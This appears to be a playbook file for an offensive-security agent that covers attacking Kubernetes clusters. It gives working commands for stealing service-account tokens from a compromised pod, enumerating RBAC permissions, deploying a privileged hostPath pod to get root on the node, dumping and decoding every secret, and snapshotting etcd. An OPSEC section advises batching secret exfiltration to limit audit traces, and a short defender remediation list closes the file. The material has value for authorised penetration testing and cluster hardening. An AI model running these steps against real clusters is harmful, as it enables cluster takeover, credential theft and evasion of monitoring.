name: k8s-pivot description: Kubernetes attack playbook — service-account token theft, RBAC abuse, pod escape, hostPath mount abuse, kube-api-server pivoting. metadata: subdomain: cloud when_to_use: "kubernetes k8s pod escape cluster compromise lateral" mitre_attack: - T1552.007 - T1610 - T1611 - T1613
Kubernetes Pivot
1. Identify the cluster you're in
Inside a compromised pod:
# Service account token (default mount)
cat /var/run/secrets/kubernetes.io/serviceaccount/token > /tmp/sa.tok
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt > /tmp/ca.crt
# API server address
echo $KUBERNETES_SERVICE_HOST $KUBERNETES_SERVICE_PORT_HTTPS
# Or: env | grep KUBE
2. Inventory permissions
KUBECTL="kubectl --token=$(cat /tmp/sa.tok) --certificate-authority=/tmp/ca.crt \
--server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT_HTTPS"
# What can I do in my own namespace?
$KUBECTL auth can-i --list --namespace=$(cat .../namespace) > /tmp/can_ns.txt
# Cluster-wide?
$KUBECTL auth can-i --list > /tmp/can_cluster.txt
# Specifically check the high-value verbs
for verb in get list create delete patch update; do
for res in secrets pods deployments daemonsets nodes clusterroles rolebindings serviceaccounts; do
$KUBECTL auth can-i $verb $res --all-namespaces 2>/dev/null | \
grep -q yes && echo "$verb $res YES"
done
done > /tmp/verbs.txt
Decepticon ingest:
k8s_audit("/tmp/can_cluster.txt")
3. RBAC escalation primitives
| Verb + Resource | What it enables |
|---|---|
create pods |
Create a pod with mount of host root, then RCE on node |
get secrets |
Steal SA tokens, k8s API creds, dockercfg, TLS keys |
create serviceaccounts.tokens |
Mint a new SA token w/ chosen TTL |
update/patch clusterrolebindings |
Bind self to cluster-admin |
impersonate |
Act as any user / SA |
create pods/exec |
Exec into running pod → steal its token |
bind / escalate (on Role/ClusterRole) |
Grant any permission |
create persistentvolumes (cluster-wide) |
hostPath PV → read host fs |
create podsecuritypolicies (old K8s) |
Author own permissive PSP |
create validatingwebhookconfigurations |
Intercept apiserver requests |
create mutatingwebhookconfigurations |
Modify any object on admission |
update nodes/status (rare) |
Spoof node taints, evict pods |
4. Pod escape — host root via hostPath
# escape-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: escape-pod
spec:
hostPID: true # see all host PIDs
hostNetwork: true # bypass network policies
containers:
- name: shell
image: alpine
command: ["sh", "-c", "sleep 1d"]
securityContext:
privileged: true # CAP_*, no user-namespace remap, no AppArmor
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
type: Directory
$KUBECTL create -f escape-pod.yaml
$KUBECTL exec -it escape-pod -- chroot /host /bin/bash
# Now root on the underlying node
5. Secrets harvest
# All accessible secrets across namespaces
$KUBECTL get secrets --all-namespaces -o json > /tmp/secrets.json
jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name) \(.type)"' /tmp/secrets.json
# Decode SA tokens
jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") |
"\(.metadata.namespace)/\(.metadata.name) \(.data.token | @base64d)"' \
/tmp/secrets.json > /tmp/sa-tokens.txt
# Decode dockercfg / dockerconfigjson
jq -r '.items[] | select(.type=="kubernetes.io/dockerconfigjson") |
.data[".dockerconfigjson"] | @base64d' /tmp/secrets.json
6. Container runtime escapes (when you have privileged pod or specific caps)
| Primitive | Technique |
|---|---|
/var/run/docker.sock mounted in pod |
docker exec on host containers → host root |
/run/containerd/containerd.sock |
ctr cmd → escape |
CAP_SYS_ADMIN w/o user namespace |
Mount syscall → reread cgroups → release_agent |
CAP_SYS_PTRACE |
Inject into host PID 1 (only if hostPID:true) |
CAP_DAC_READ_SEARCH |
Open arbitrary file by inode (CVE-2022-0185 era) |
| Kernel CVEs (Dirty Pipe, etc) | Standard linux escape from any container |
7. Pivoting from the API server
With cluster-admin token:
# List all nodes
$KUBECTL get nodes -o wide
# Each node has an internal IP — once you have host root, you have
# network reach to the underlying infra (etcd, cloud metadata, etc)
# Steal etcd snapshot via cluster-admin
$KUBECTL --raw '/api/v1/namespaces/kube-system/pods' > /tmp/all-pods.json
# Find etcd pod, exec, dump
$KUBECTL exec -n kube-system etcd-master -- \
etcdctl snapshot save /tmp/etcd.db --cacert=/etc/kubernetes/pki/etcd/ca.crt
8. Promote
kg_add_node(kind="vulnerability", label="K8s RBAC: <verb> on <resource>",
props={"severity":"<sev>","namespace":"<ns>","cluster":"<cluster>"})
kg_add_edge(src=<vuln>, dst=<crown_jewel:cluster-admin>, kind="reaches")
OPSEC
- K8s audit policy logs every API call. If audit is set to
Metadataor higher, every kubectl op is recorded with user SA, verb, resource, response code. - Cloud providers (EKS/GKE/AKS) ship audit logs to CloudWatch / Stackdriver / Log Analytics — assume engagement is observed.
- Use a low-priv SA token first, escalate only when needed, and exfil secrets in one batch (don't list-secrets repeatedly).
CVSS
- create-pod privileged anywhere:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H= 9.0 - get-secrets in kube-system: 9.0
- escalate clusterrolebindings: 10.0 (instant cluster-admin)
- Default ServiceAccount auto-mounted into all pods + privileged pod creation allowed: 9.5 (engagement-ending)
Defender remediation (high-level)
- Disable automounting of default SA tokens (
automountServiceAccountToken: false) - Enforce PodSecurity standards (
baselineminimum,restrictedideal) - Audit cluster-wide ClusterRoleBindings — many clusters have
system:mastersaliases to misnamed groups - Network policies to block pod → kube-api except where required